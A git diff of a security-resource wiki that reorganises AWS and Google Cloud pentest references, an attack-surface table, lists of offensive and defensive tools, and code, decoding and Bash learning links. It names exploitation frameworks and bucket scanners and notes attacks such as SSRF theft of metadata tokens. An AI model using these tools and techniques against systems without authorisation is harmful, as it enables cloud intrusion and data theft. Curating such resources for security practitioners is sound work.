STS. Access tokens may also be stolen with SSRF vulnerabilities by reaching out to metadata IP addresses. More information: [EC2 Pentesting in Depth](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/) | -| S3 | S3 requires careful consideration for bucket-level and object-level permissions. The S3 bucket itself can grant permissions to ‘Everyone’ or ‘Authenticated Users’. The ‘Authenticated Users’ permissions will grant access to _all AWS users_. Because of this a pentester must check both anonymous permissions as well as semi-public permissions with their own access tokens. More information: [S3 Pentesting in Depth](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/) | -| ELB/ALB | Did you know an ELB can introduce HTTP Request Smuggling? This commonly overlooked configuration can allow attackers to inject requests into other user’s sessions. | -| SNS/SQS | Misconfigured topics or queues can allow unauthorized users to subscribe to topics or push messages to queues. Testing of this can be done with the AWS CLI. | -| RDS/Aurora/Redshift | Databases on AWS are relatively straightforward, although a penetration test should check for databases configured with public access. | -| EBS | EBS volumes can be made publicly available. The AWS CLI can be used to verify if EBS snapshots are publicly accessible. | -| Cognito Authentication | An AWS pentest should determine if the Cognito configuration is appropriate for intended application behavior. This includes checking for self-signups, and enabling advanced security. | - -### Tools - -#### Offensive Tools - -* Enumeration and scanning - * [Bucket\_finder](https://digi.ninja/projects/bucket\_finder.php) - Tool for finding and exploiting Amazon buckets. - * [https://digi.ninja/blog/whats\_in\_amazons\_buckets.php](https://digi.ninja/blog/whats\_in\_amazons\_buckets.php) - * [bucket-stream](https://github.com/eth0izzle/bucket-stream) - Find interesting Amazon S3 Buckets by watching certificate transparency logs. - * [S3Scanner](https://github.com/sa7mon/S3Scanner) - Scan for open S3 buckets and dump the contents -* Offensive Frameworks - * [PACU](https://github.com/RhinoSecurityLabs/pacu) - Pacu is an open-source AWS exploitation framework, designed for offensive security testing against cloud environments. - * [https://github.com/RhinoSecurityLabs/pacu/wiki/](https://github.com/RhinoSecurityLabs/pacu/wiki/) - * [https://www.kali.org/tools/pacu/](https://www.kali.org/tools/pacu/) - * [https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) - * _Operator Handbook: Pacu- pg. 31_ - * [Nimbostratus](https://github.com/andresriancho/nimbostratus) - Tools for fingerprinting and exploiting Amazon cloud infrastructures. - * _Operator Handbook: Nimbostratus - pg. 30_ - * [weirdAAL](https://github.com/carnal0wnage/weirdAAL) - WeirdAAL (AWS Attack Library) - * [https://github.com/carnal0wnage/weirdAAL/wiki](https://github.com/carnal0wnage/weirdAAL/wiki) - -#### Defensive tools - -* [Arsenal of AWS Tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) - Tool collection of cloud security researcher Toni de la Fuente - * [aws-security-toolbox](https://github.com/toniblyx/aws-security-toolbox) - The above toolkit but in a portable docker container - * [aws-forensic-tools](https://github.com/toniblyx/aws-forensic-tools) - Forensic toolkit made by the same researcher -* Security Assessment and Hardening - * [Cloudsplaining](https://github.com/salesforce/cloudsplaining) - Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report. - * [https://cloudsplaining.readthedocs.io/en/latest/](https://cloudsplaining.readthedocs.io/en/latest/) - * [Prowler](https://github.com/toniblyx/prowler) - Prowler is a security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - * [cloudsploit](https://github.com/aquasecurity/cloudsploit) - Cloud Security Posture Management (CSPM) - * [cloudmapper](https://github.com/duo-labs/cloudmapper) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments. - * [cloudtracker](https://github.com/duo-labs/cloudtracker) - CloudTracker helps you find over-privileged IAM users and roles by comparing CloudTrail logs with current IAM policies. - * [aws-recon](https://github.com/darkbitio/aws-recon) - Multi-threaded AWS inventory collection tool with a focus on security-relevant resources and metadata. - * [review-security-groups](https://github.com/MrSecure/review-security-groups) - A small set of scripts to summarize AWS Security Groups, and generate visualizations of the rules. - * [cloudtrail2sightings](https://github.com/zmallen/cloudtrail2sightings) - Convert cloudtrail data to MITRE ATT\&CK Sightings -* DFIR - * [aws\_ir](https://github.com/ThreatResponse/aws\_ir) - Python installable command line utility for mitigation of host and key compromises. - * [acquire-aws-ec2](https://github.com/telekom-security/acquire-aws-ec2) - Handy script for capturing EC2 instances in IR scenarios - * [https://www.chrisfarris.com/post/aws-ir/](https://www.chrisfarris.com/post/aws-ir/) - Incident Response in AWS -* Threat Hunting - * [https://github.com/schwartz1375/aws](https://github.com/schwartz1375/aws) - Repo for threat hunting in AWS. +### AWS Services and Attack Surfaces -### AWS Training +| AWS Service | Testing focus | +| --- | --- | +| EC2 | Public service exposure, OS vulnerabilities, instance metadata access, and STS credential paths. | +| S3 | Anonymous access, broad bucket policies, object ACLs, public snapshots, and authenticated-user exposure. | +| ELB/ALB | HTTP request smuggling and load-balancer parsing differences. | +| SNS/SQS | Misconfigured topics and queues that allow unauthorized subscribe, publish, or receive actions. | +| RDS/Aurora/Redshift | Public exposure, weak access controls, and snapshot sharing. | +| EBS | Public snapshots and leaked sensitive data. | +| Cognito Authentication | Self-signup, weak app-client settings, token handling, and missing advanced security features. | -* [https://www.udemy.com/course/cloud-hacking/](https://www.udemy.com/course/cloud-hacking/) -* [https://cloudacademy.com/course/aws-security-fundamentals/introduction-74/](https://cloudacademy.com/course/aws-security-fundamentals/introduction-74/) +### AWS Tools -## **Gcloud** +#### Offensive -### **Guides and Reference** +* [Bucket_finder](https://digi.ninja/projects/bucket_finder.php) - Finds and tests Amazon buckets. + * [What's in Amazon's buckets?](https://digi.ninja/blog/whats_in_amazons_buckets.php) +* [bucket-stream](https://github.com/eth0izzle/bucket-stream) - Finds S3 buckets by watching certificate transparency logs. +* [S3Scanner](https://github.com/sa7mon/S3Scanner) - Scans for open S3 buckets and dumps contents. +* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - AWS exploitation framework for authorized testing. + * [Pacu wiki](https://github.com/RhinoSecurityLabs/pacu/wiki/) + * [Kali Pacu package](https://www.kali.org/tools/pacu/) + * [Pacu overview](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/) + * _Operator Handbook: Pacu - pg. 31_ +* [Nimbostratus](https://github.com/andresriancho/nimbostratus) - AWS fingerprinting and exploitation. + * _Operator Handbook: Nimbostratus - pg. 30_ +* [weirdAAL](https://github.com/carnal0wnage/weirdAAL) - AWS Attack Library. + * [weirdAAL wiki](https://github.com/carnal0wnage/weirdAAL/wiki) + +#### Defensive, DFIR, and Hunting + +* [Arsenal of AWS Tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools) + * [aws-security-toolbox](https://github.com/toniblyx/aws-security-toolbox) + * [aws-forensic-tools](https://github.com/toniblyx/aws-forensic-tools) +* [Cloudsplaining](https://github.com/salesforce/cloudsplaining) - AWS IAM least-privilege assessment. + * [Cloudsplaining documentation](https://cloudsplaining.readthedocs.io/en/latest/) +* [Prowler](https://github.com/prowler-cloud/prowler) - AWS security best-practice assessment, audits, IR, continuous monitoring, and hardening. +* [CloudSploit](https://github.com/aquasecurity/cloudsploit) - Cloud Security Posture Management checks. +* [CloudMapper](https://github.com/duo-labs/cloudmapper) - AWS environment analysis. +* [cloudtracker](https://github.com/duo-labs/cloudtracker) - Compares CloudTrail logs with IAM policies to find over-privileged roles and users. +* [aws-recon](https://github.com/darkbitio/aws-recon) - Multi-threaded AWS inventory collection. +* [review-security-groups](https://github.com/MrSecure/review-security-groups) - Summarizes AWS Security Groups and visualizes rules. +* [cloudtrail2sightings](https://github.com/zmallen/cloudtrail2sightings) - Converts CloudTrail data to MITRE ATT&CK Sightings. +* [aws_ir](https://github.com/ThreatResponse/aws_ir) - AWS incident response utility. +* [acquire-aws-ec2](https://github.com/telekom-security/acquire-aws-ec2) - Captures EC2 instances during IR. +* [Incident Response in AWS](https://www.chrisfarris.com/post/aws-ir/) +* [AWS threat hunting repo](https://github.com/schwartz1375/aws) -* __[https://cheatsheet.dennyzhang.com/cheatsheet-gcp-a4](https://cheatsheet.dennyzhang.com/cheatsheet-gcp-a4) -* [https://cloud.google.com/architecture/security-controls-and-forensic-analysis-for-GKE-apps?hl=it](https://cloud.google.com/architecture/security-controls-and-forensic-analysis-for-GKE-apps?hl=it) -* [https://cloud.google.com/pubsub/docs/quickstart-cli](https://cloud.google.com/pubsub/docs/quickstart-cli) -* [https://support.google.com/cloud/answer/6262505?hl=en](https://support.google.com/cloud/answer/6262505?hl=en) - Google rules on pentesting -* [https://pentestbook.six2dez.com/enumeration/cloud/gcp](https://pentestbook.six2dez.com/enumeration/cloud/gcp) -* [https://github.com/irgoncalves/gcp\_security](https://github.com/irgoncalves/gcp\_security) -* [https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation) -* Hardening - [https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster](https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster) -* _Operator Handbook: GCP CLI - pg. 70_ -* _Operator Handbook: GCP Exploit - pg. 75_ +### AWS Training +* [Cloud Hacking](https://www.udemy.com/course/cloud-hacking/) +* [AWS Security Fundamentals](https://cloudacademy.com/course/aws-security-fundamentals/introduction-74/) +## Google Cloud +### Guides and Reference + +* [GCP cheat sheet](https://cheatsheet.dennyzhang.com/cheatsheet-gcp-a4) +* [Security controls and forensic analysis for GKE apps](https://cloud.google.com/architecture/security-controls-and-forensic-analysis-for-GKE-apps) +* [Pub/Sub quickstart CLI](https://cloud.google.com/pubsub/docs/quickstart-cli) +* [Google Cloud penetration testing rules](https://support.google.com/cloud/answer/6262505?hl=en) +* [Pentest Book - GCP](https://pentestbook.six2dez.com/enumeration/cloud/gcp) +* [gcp_security](https://github.com/irgoncalves/gcp_security) +* [GCP IAM Privilege Escalation](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation) +* [Hardening your GKE cluster](https://cloud.google.com/kubernetes-engine/docs/how-to/hardening-your-cluster) +* _Operator Handbook: GCP CLI - pg. 70_ +* _Operator Handbook: GCP Exploit - pg. 75_ diff --git a/code-tools/README.md b/code-tools/README.md index e452537..67303a8 100644 --- a/code-tools/README.md +++ b/code-tools/README.md @@ -1,15 +1,19 @@ -# Yellow - Code and CLI +--- +description: Code, command-line, Bash, PowerShell, regex, scripting, and data-transformation resources for security analysts and practitioners. +--- -You do not need to know how to code to be good at security. So many of those new to the industry are daunted at the prospect of learning how to code and it prevents them from taking the plunge into cyber. Does it help? Absolutely! But it is not necessary. There is a level of basic coding knowledge that is totally acceptable. +# Yellow - Code and CLI -Think of it like learning the basics of a foreign language. Does everyone need 4-5 years to become completely fluent in Spanish before ordering food at your favorite taco joint? No! But understanding some of the more common terms and how to recognize the language when its used, goes a long way.\ -The same is for code. +You do not need to be a full-time developer to be good at security, but you do need enough code and command-line literacy to recognize what scripts, commands, logs, and snippets are doing. This section is for that foundation: CLI skills, scripting references, regex, code-learning resources, and small utilities that help analysts understand or transform data. -To help with this basic understanding, there have been many platforms, tools, and projects created around making understanding code, easier. As a security analyst, most are not expected to be able to write Javascript or in-depth powershell commands. But should you be able to recognize them and and be able to understand a bit of their function? Absolutely! And there are tools that can make that easier. +Deep security tool categories live in their own sections. Code scanning and dependency risk belong in vulnerability management, reverse engineering belongs in DFIR, shellcode and exploit development belong in Red Offensive, and log parsing belongs in Security Logging. ## Secure Coding -* [https://github.com/6mile/DevSecOps-Playbook](https://github.com/6mile/DevSecOps-Playbook) +* [DevSecOps Playbook](https://github.com/6mile/DevSecOps-Playbook) +* [OWASP Secure Coding Practices](https://owasp.org/www-project-secure-coding-practices-quick-reference-guide/) - Quick reference guide for secure coding practices. +* [CWE - Common Weakness Enumeration](https://cwe.mitre.org/) - Community-developed list of software and hardware weakness types. +* [SANS Secure Coding Resources](https://www.sans.org/secure-coding/) - Secure coding training and resources. ## Command Shells @@ -21,52 +25,59 @@ To help with this basic understanding, there have been many platforms, tools, an [bash](bash/) {% endcontent-ref %} -### WIndows CLI - -* _Operator Handbook: Windows\_Commands - pg. 328_ - -### Powershell +### PowerShell {% content-ref url="powershell/" %} [powershell](powershell/) {% endcontent-ref %} +### Windows CLI + +* _Operator Handbook: Windows_Commands - pg. 328_ + ## CLI Assistance Tools -* [https://www.commandlinefu.com](https://www.commandlinefu.com) - An amazing repository of command strings accomplishing different tasks. Simply search the task and see what commands have worked for others. -* [https://explainshell.com/](https://explainshell.com/) - Write down a command-line to see the help text that matches each argument -* [cheat.sh](https://github.com/chubin/cheat.sh) - Command Line cheatsheet tool +* [commandlinefu](https://www.commandlinefu.com/) - Repository of useful command-line snippets. +* [explainshell](https://explainshell.com/) - Explains command-line arguments from man page text. +* [cheat.sh](https://github.com/chubin/cheat.sh) - Community-driven command-line cheatsheet tool. +* [tldr](https://tldr.sh/) - Simplified, example-focused man pages. +* [thefuck](https://github.com/nvbn/thefuck) - Corrects errors in previous console commands. ## Code Reference Tools -* [https://stackoverflow.com/](https://stackoverflow.com/) - The one and only. More code has been made by snippets stolen from StackOverflow than anything else. If you cant figure out how to code something, stop here first. -* [The complete table of ASCII characters, codes, symbols and signs](https://theasciicode.com.ar/) -* [Devhints](https://devhints.io/) - One of the largest collections of coding cheatsheets and guides available on the internet. -* [PublicWWW.com](https://publicwww.com/) - Search engine for code -* [Browse code samples | Microsoft Docs](https://docs.microsoft.com/en-us/samples/browse/) -* [https://ryanstutorials.net/](https://ryanstutorials.net/) - A collection of free, introductory tutorials on several technology topics including: Linux command line, Bash scripting, creating and styling webpages with HTML and CSS, counting and converting between different number systems, and writing regular expressions -* [https://www.markdownguide.org/](https://www.markdownguide.org/) - free and open-source reference guide that explains how to use Markdown +* [Stack Overflow](https://stackoverflow.com/) - Programming Q&A community. +* [ASCII Table](https://theasciicode.com.ar/) - ASCII characters, codes, symbols, and signs. +* [Devhints](https://devhints.io/) - Coding cheatsheets and guides. +* [PublicWWW](https://publicwww.com/) - Source code search engine for public websites. +* [Microsoft Learn Code Samples](https://learn.microsoft.com/en-us/samples/browse/) - Microsoft documentation samples. +* [Ryan's Tutorials](https://ryanstutorials.net/) - Introductory tutorials for Linux command line, Bash, HTML/CSS, number systems, and regex. +* [Markdown Guide](https://www.markdownguide.org/) - Markdown reference guide. +* [GitHub Docs](https://docs.github.com/) - GitHub, Git, and version control documentation. +* [Can I Use](https://caniuse.com/) - Browser compatibility tables for web technologies. +* [Replit](https://replit.com/) - Collaborative in-browser IDE. {% content-ref url="learn-to-code.md" %} [learn-to-code.md](learn-to-code.md) {% endcontent-ref %} -## **Code libraries and collections** +## Code Libraries and Collections -* [Awesome Lists Collection: Python](https://github.com/vinta/awesome-python) +Awesome lists are allowed to repeat locally because they are useful entry points into a topic. + +* [Awesome Python](https://github.com/vinta/awesome-python) * [Python-Pentest-Tools](https://github.com/dloss/python-pentest-tools) -* [Pythonidae](https://github.com/svaksha/pythonidae) - Curated decibans of scientific programming resources in Python. -* [Awesome Lists Collection: PHP](https://github.com/ziadoz/awesome-php/) -* [Awesome Lists Collection: JavaScript](https://github.com/sorrycc/awesome-javascript#readme) -* [Awesome Lists Collection: Swift](https://github.com/matteocrippa/awesome-swift#readme) -* [Awesome Lists Collection: GO](https://github.com/avelino/awesome-go#readme) -* [Awesome Lists Collection: C](https://github.com/inputsh/awesome-c#readme) -* [Awesome Lists Collection: C++](https://github.com/fffaraz/awesome-cpp#readme) -* [Awesome Lists Collection: Perl](https://github.com/hachiojipm/awesome-perl#readme) -* [Awesome Lists Collection: Java](https://github.com/akullpp/awesome-java#readme) -* [Awesome Lists Collection: HTML5](https://github.com/diegocard/awesome-html5#readme) -* [Awesome Lists Collection: CSS](https://github.com/awesome-css-group/awesome-css#readme) -* [Awesome Lists Collection: DevSecOps](https://github.com/devsecops/awesome-devsecops) +* [Awesome PHP](https://github.com/ziadoz/awesome-php/) +* [Awesome JavaScript](https://github.com/sorrycc/awesome-javascript#readme) +* [Awesome Swift](https://github.com/matteocrippa/awesome-swift#readme) +* [Awesome Go](https://github.com/avelino/awesome-go#readme) +* [Awesome C](https://github.com/inputsh/awesome-c#readme) +* [Awesome C++](https://github.com/fffaraz/awesome-cpp#readme) +* [Awesome Perl](https://github.com/hachiojipm/awesome-perl#readme) +* [Awesome Rust](https://github.com/rust-unofficial/awesome-rust#readme) +* [Awesome Java](https://github.com/akullpp/awesome-java#readme) +* [Awesome HTML5](https://github.com/diegocard/awesome-html5#readme) +* [Awesome CSS](https://github.com/awesome-css-group/awesome-css#readme) +* [Awesome DevSecOps](https://github.com/devsecops/awesome-devsecops) ## Regex @@ -74,102 +85,76 @@ To help with this basic understanding, there have been many platforms, tools, an [regex.md](regex.md) {% endcontent-ref %} -## Decoding Tools - -* [CyberChef](https://gchq.github.io/CyberChef/) - Called the Cyber Swiss Army Knife, cyberchef is a tool with over 300+ functions that can encode/decode, encrypt/decrypt, convert, and parse just about anything thrown at it. You can copy and paste snippets of code for translation or even upload entire files. The most handy function is a processing option called "Magic". It will run some fuzzy logic against the target code and give suggestions as to what it is encoded with. You can even chain functions together in what they call "Recipes" - * [https://github.com/mattnotmax/cyberchef-recipes](https://github.com/mattnotmax/cyberchef-recipes) - * [https://gist.github.com/michaelder](https://gist.github.com/michaelder) - Cobalt Strike decoding recipies. -* [Hackvertor](https://hackvertor.co.uk/public) - Multi-function Code converter -* [String Manipulation tool](https://manytools.org/http-html-text/string-manipulation/) -* [https://encoding.tools](https://encoding.tools/) - Basic HTML decoding and hash conversion tool -* [DCode toolkit](https://www.dcode.fr/tools-list) - dCode is free and its tools are a valuable help in games, maths, geocaching, puzzles and problems to solve every day! -* [quipqiup](https://quipqiup.com/) - Cryptoquip and Cryptogram solver -* [Hex to ASCII | Hex to Text converter](https://www.rapidtables.com/convert/number/hex-to-ascii.html) -* [DDecode](http://ddecode.com/hexdecoder/) - Hex,Octal,HTML Decoder -* [AES encryption](https://aesencryption.net/) [Encode/Decode](https://toolbox.googleapps.com/apps/encode\_decode/) -* [de4dot](https://www.kali.org/tools/de4dot/) - de4dot is a .NET deobfuscator and unpacker. -* [gpp-decrypt](https://www.kali.org/tools/gpp-decrypt/) - Decrypt the given Group Policy Preferences string - -### Javascript Decoders - -* [Online JavaScript beautifier](https://beautifier.io/) - Beautify, unpack or de-obfuscate JavaScript and HTML, make JSON/JSONP readable, etc. -* [UnPacker](http://matthewfl.com/unPacker.html) - Sort and organize JS into proper looking code. Makes it easier to read -* [InfoSec Handlers Diary Blog - Advanced obfuscated JavaScript analysis](https://isc.sans.edu/diary/Advanced+obfuscated+JavaScript+analysis/4246) -* [Malware at Stake: JavaScript Obfuscation](https://secniche.blogspot.com/2012/04/javascript-obfuscation-manual-armor-1.html) -* [JS NICE: Statistical renaming, Type inference and Deobfuscation](http://www.jsnice.org/) - -### Shellcoding - -**Shellcode** - For those of the offensive persuation - -* [shell-storm](http://shell-storm.org/shellcode/) - Shellcodes Database -* [cryptam.com: Shellcode Analysis](https://malwaretracker.com/shellcode.php) -* [Shellcoding for Linux and Windows Tutorial](https://www.vividmachines.com/shellcode/shellcode.html) - -## **Code Vulnerability Scanning** - -* [Snyk](https://github.com/snyk/snyk) - CLI and build-time tool to find & fix known vulnerabilities in open-source dependencies. It is one of the biggest support tools in DevSecOps. It even has its own [convention.](https://snyk.io/snykcon/) -* [WhiteSource Bolt for GitHub](https://github.com/apps/whitesource-bolt-for-github) - WhiteSource Bolt for GitHub is a FREE app, which continuously scans all your repos, detects vulnerabilities in open source components and provides fixes. -* [Brakeman](https://github.com/presidentbeef/brakeman) - A static analysis security vulnerability scanner for Ruby on Rails applications -* [Cppcheck](http://cppcheck.sourceforge.net/) - A tool for static C/C++ code analysis -* [FindBugs](http://findbugs.sourceforge.net/) - Find Bugs in Java Programs -* [Sobelow](https://github.com/nccgroup/sobelow) - Security-focused static analysis for the Phoenix Framework -* [bandit ](https://pypi.org/project/bandit/) - Bandit is a tool designed to find common security issues in Python code. -* [Package Hunter](https://about.gitlab.com/blog/2021/07/23/announcing-package-hunter/) - Scan dependencies for potentially malicious code -* [semgrep](https://github.com/returntocorp/semgrep) - Lightweight static analysis for many languages. Find bug variants with patterns that look like source code. -* [GGShield](https://github.com/GitGuardian/ggshield) - Detect secret in source code, scan your repo for leaks. Find secrets with GitGuardian and prevent leaked credentials. GitGuardian is an automated secrets detection & remediation service. -* [puma-scan](https://github.com/pumasecurity/puma-scan) - Puma Scan is a software security Visual Studio extension that provides real time, continuous source code analysis as development teams write code. -* [https://github.com/deadbits/InsecureProgramming](https://github.com/deadbits/InsecureProgramming) - Examples of insecure programming. For learning -* [https://github.com/PyCQA/bandit](https://github.com/PyCQA/bandit) - Bandit is a tool designed to find common security issues in Python code. -* [Secure Coding in C/C++](https://www.amazon.com/Secure-Coding-2nd-Software-Engineering/dp/0321822137) -* [Art of software Security Assessment](https://www.amazon.com/Art-Software-Security-Assessment-Vulnerabilities/dp/0321444426) -* [betterscan-ce](https://github.com/marcinguy/betterscan-ce) - Code Scanning/SAST/Static Analysis/Linting using many tools/Scanners with One Report (Code, IaC) - Betterscan Community Edition (CE) - * [https://www.betterscan.io/](https://www.betterscan.io/) - -## Misc Tools - -### Automation - -* [**NRE Labs**](https://labs.networkreliability.engineering/) - learn automation by doing it. Right now, right here, in your browser. - -### **Grok** - -* [Grok Debugger](https://grokdebug.herokuapp.com/) - -### **Hashes** - -* [Hashcalc](https://www.slavasoft.com/hashcalc/) - A fast and easy-to-use calculator that allows to compute message digests, checksums and HMACs for files, as well as for text and hex strings. It offers a choice of 13 of the most popular hash and checksum algorithms for calculations. -* [Md5 Decrypt & Encrypt - More than 10.000.000.000 hashes](https://md5decrypt.net/en/) - Handy tool for hash lookups. Can save some time over brute forcing. - -### **Hex Editors** - -* [HexEd.it ](https://hexed.it/)- Browser-based Online and Offline Hex Editing -* [Hexinator](https://hexinator.com/) - Powerful free hex editor -* [Frhed](http://frhed.sourceforge.net/en/) - Free Hex Editor -* [shed](https://www.kali.org/tools/shed/) - shed (Simple Hex Editor) is an easy application for viewing and editing files in text mode, using ncurses. -* [Bless](https://github.com/bwrsandman/Bless) - Gtk# Hex Editor - -### Debugger - -* [edb-debugger](https://www.kali.org/tools/edb-debugger/) - edb is a graphical cross platform x86/x86-64 debugger. -* [ollydbg](https://www.kali.org/tools/ollydbg/) - OllyDbg is a 32-bit assembler level analysing debugger for Microsoft Windows. Emphasis on binary code analysis makes it particularly useful in cases where source is unavailable. -* [httopenocd](https://www.kali.org/tools/openocd/) - OpenOCD aims to provide debugging, in-system programming and boundary-scan testing for embedded target devices. -* [gdb](https://www.kali.org/tools/gdb/) - GBD/PEDA - GDB is a command line debugger for Linux that is essential for exploiting Linux binaries. Python Exploit Development Assistant (or PEDA) is an open-source extension to GDB that makes it easier to use. - * Pattern - When looking for buffer overflows, one of the key components is identifying at which point the return pointer is overwritten. To help identify this location, PEDA can generate patterns that can be used as input, and then used to identify the location of the string. - * Ropsearsch - Ropsearch will look for return-oriented programming (ROP) gadgets in memory that can be used for exploits that use ROP techniques. - * Searchmem|find - ‘Searchmem’ and ‘find’ can be used to look for structure in memory. A typical case would be using it to look for strings like ‘sh’ that can be used in ret2libc payloads. - * Skeleton - This will generate a Python skeleton program that can be used to create an exploit script. - * Vmmap - Vmmap will show a table that lists all the memory regions of the binary. It will also include what read, write or execute permissions are set on each section.\ - ◇ [https://github.com/longld/peda](https://github.com/longld/peda) - * Install PEDA - -``` -# git clone https://github.com/longld/peda.git ~/peda -# echo "source ~/peda/peda.py" >> ~/.gdbinit -``` - -### **Honorable Mention** - -* [Ciphey](https://github.com/ciphey/ciphey) - Fully automated decryption/decoding/cracking tool using natural language processing & artificial intelligence, along with some common sense. -* [Replit](https://replit.com/) - Collaborative, in-browser IDE to code in 50+ languages. -* [bytecode-viewer](https://www.kali.org/tools/bytecode-viewer/) - an Advanced Lightweight Java Bytecode Viewer, GUI Java Decompiler, GUI Bytecode Editor, and much more. +## Data Transformation Utilities + +Use these tools for encoding, decoding, formatting, and quick data transformation. CyberChef also appears in event analysis and DFIR contexts because it is useful in many workflows. + +* [CyberChef](https://gchq.github.io/CyberChef/) - Encoding, decoding, compression, encryption, and data transformation workbench. + * [CyberChef recipes](https://github.com/mattnotmax/cyberchef-recipes) + * [Michael Der's CyberChef gists](https://gist.github.com/michaelder) - Includes Cobalt Strike decoding recipes. +* [Hackvertor](https://hackvertor.co.uk/public) - Multi-function conversion tool. +* [String Manipulation](https://manytools.org/http-html-text/string-manipulation/) - Text manipulation utilities. +* [encoding.tools](https://encoding.tools/) - HTML decoding and hash conversion utilities. +* [dCode](https://www.dcode.fr/tools-list) - Large toolkit for encoders, ciphers, puzzles, and data conversion. +* [quipqiup](https://quipqiup.com/) - Cryptogram solver. +* [RapidTables Hex to ASCII](https://www.rapidtables.com/convert/number/hex-to-ascii.html) - Hex/text conversion. +* [DDecode](http://ddecode.com/hexdecoder/) - Hex, octal, and HTML decoder. +* [AES Encryption](https://aesencryption.net/) - AES encryption/decryption utility. +* [Google Encode/Decode](https://toolbox.googleapps.com/apps/encode_decode/) - Google encoding and decoding utility. +* [Base64 Decode and Encode](https://www.base64decode.org/) - Base64 encoder and decoder. +* [JWT.io](https://jwt.io/) - JSON Web Token decoder, verifier, and generator. +* [Online JavaScript Beautifier](https://beautifier.io/) - Beautify and unpack JavaScript, HTML, JSON, and JSONP. +* [UnPacker](http://matthewfl.com/unPacker.html) - JavaScript unpacking and formatting. +* [Advanced obfuscated JavaScript analysis](https://isc.sans.edu/diary/Advanced+obfuscated+JavaScript+analysis/4246) - SANS ISC diary entry. +* [JavaScript Obfuscation](https://secniche.blogspot.com/2012/04/javascript-obfuscation-manual-armor-1.html) - Malware-focused JavaScript obfuscation notes. +* [JS NICE](http://www.jsnice.org/) - JavaScript renaming, type inference, and deobfuscation. + +## Command-Line Data Tools + +* [jq](https://jqlang.github.io/jq/) - Lightweight command-line JSON processor. +* [yq](https://github.com/mikefarah/yq) - Command-line YAML, JSON, and XML processor. +* [ShellCheck](https://www.shellcheck.net/) - Static analysis tool for shell scripts. + +## Related Sections + +* Code, dependency, container, and secret scanning tools live in Asset and Vulnerability Management. + +{% content-ref url="../blue-defense/vulnerability-management.md" %} +[vulnerability-management.md](../blue-defense/vulnerability-management.md) +{% endcontent-ref %} + +* Grok parsing and log pipeline tooling live in Security Logging. + +{% content-ref url="../security-logging/" %} +[security-logging](../security-logging/) +{% endcontent-ref %} + +* Hex editors, deobfuscators, Ghidra, radare2, and binary analysis tools live in DFIR. + +{% content-ref url="../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md" %} +[binary-analysis-reverse-engineering.md](../dfir-digital-forensics-and-incident-response/binary-analysis-reverse-engineering.md) +{% endcontent-ref %} + +* Shellcode and exploit-development references live in Red Offensive. + +{% content-ref url="../red-offensive/testing-methodology/exploit-research.md" %} +[exploit-research.md](../red-offensive/testing-methodology/exploit-research.md) +{% endcontent-ref %} + +* Password cracking and hash recovery tools live in Password Attacks. + +{% content-ref url="../red-offensive/testing-methodology/password-attacks.md" %} +[password-attacks.md](../red-offensive/testing-methodology/password-attacks.md) +{% endcontent-ref %} + +## Legacy / Deprecated Tools + +* [FindBugs](http://findbugs.sourceforge.net/) - Legacy Java static analysis tool replaced by SpotBugs. +* [Frhed](http://frhed.sourceforge.net/en/) - Older Windows hex editor. Consider ImHex or HexEd.it in DFIR workflows. +* [NRE Labs](https://labs.networkreliability.engineering/) - Network automation learning platform that has been discontinued. +* [Pythonidae](https://github.com/svaksha/pythonidae) - Archived Python resource collection. + +## Honorable Mention + +* [Ciphey](https://github.com/ciphey/ciphey) - Automated decryption, decoding, and cracking tool using natural language processing and heuristics. +* [bytecode-viewer](https://www.kali.org/tools/bytecode-viewer/) - Java bytecode viewer, Java decompiler, and bytecode editor. diff --git a/code-tools/bash/README.md b/code-tools/bash/README.md index 3b3449b..9071eeb 100644 --- a/code-tools/bash/README.md +++ b/code-tools/bash/README.md @@ -1,40 +1,45 @@ # Bash -## Resources - -* [https://linuxjourney.com/](https://linuxjourney.com/) - A free, handy guide for learning Linux. Coverage begins with the fundamentals of command line navigation and basic text manipulation. It then extends to more advanced topics, such as file systems and networking. The site is well organized and includes many examples along with code snippets. Exercises and quizzes are provided as well. -* [https://prep.fullstackacademy.com](https://prep.fullstackacademy.com) - In this course, you’ll learn from one of Fullstack’s top instructors, Corey Greenwald, as he guides you through learning the basics of the command line through short, digestible video lectures. Then you’ll use Fullstack’s CyberLab platform to hone your new technical skills while working through a Capture the Flag game, a special kind of cybersecurity game designed to challenge participants to solve computer security problems by solving puzzles. -* [Introduction to the Command Line](https://launchschool.com/books/command\_line) - Launch School (HTML) -* [The Linux Command Line](http://linuxcommand.org/tlcl.php) - William E. Shotts, Jr. (PDF) - * [http://linuxcommand.org/](http://linuxcommand.org/) -* [GNU Bash manual](https://www.gnu.org/software/bash/manual/bash.pdf) (PDF) -* [Bash Notes for Professionals](http://goalkicker.com/BashBook/) - Compiled from StackOverflow documentation (PDF) -* [The Bash Academy](http://guide.bash.academy) - Maarten Billemont (HTML) -* [Bash Reference Manual](http://www.gnu.org/software/bash/manual/bashref.html) (HTML) - * [Getting Started with BASH](http://www.hypexr.org/bash\_tutorial.php) (HTML) -* [Conquering the Command Line](http://conqueringthecommandline.com/book/frontmatter) - Mark Bates (HTML) -* [BashGuide](http://mywiki.wooledge.org/BashGuide) - Maarten Billemont (HTML) [(PDF)](http://s.ntnu.no/bashguide.pdf) -* [Bash tutorial](https://web.archive.org/web/20180328183806/http://gdrcorelec.ups-tlse.fr/files/bash.pdf) - Anthony Scemama (PDF) -* 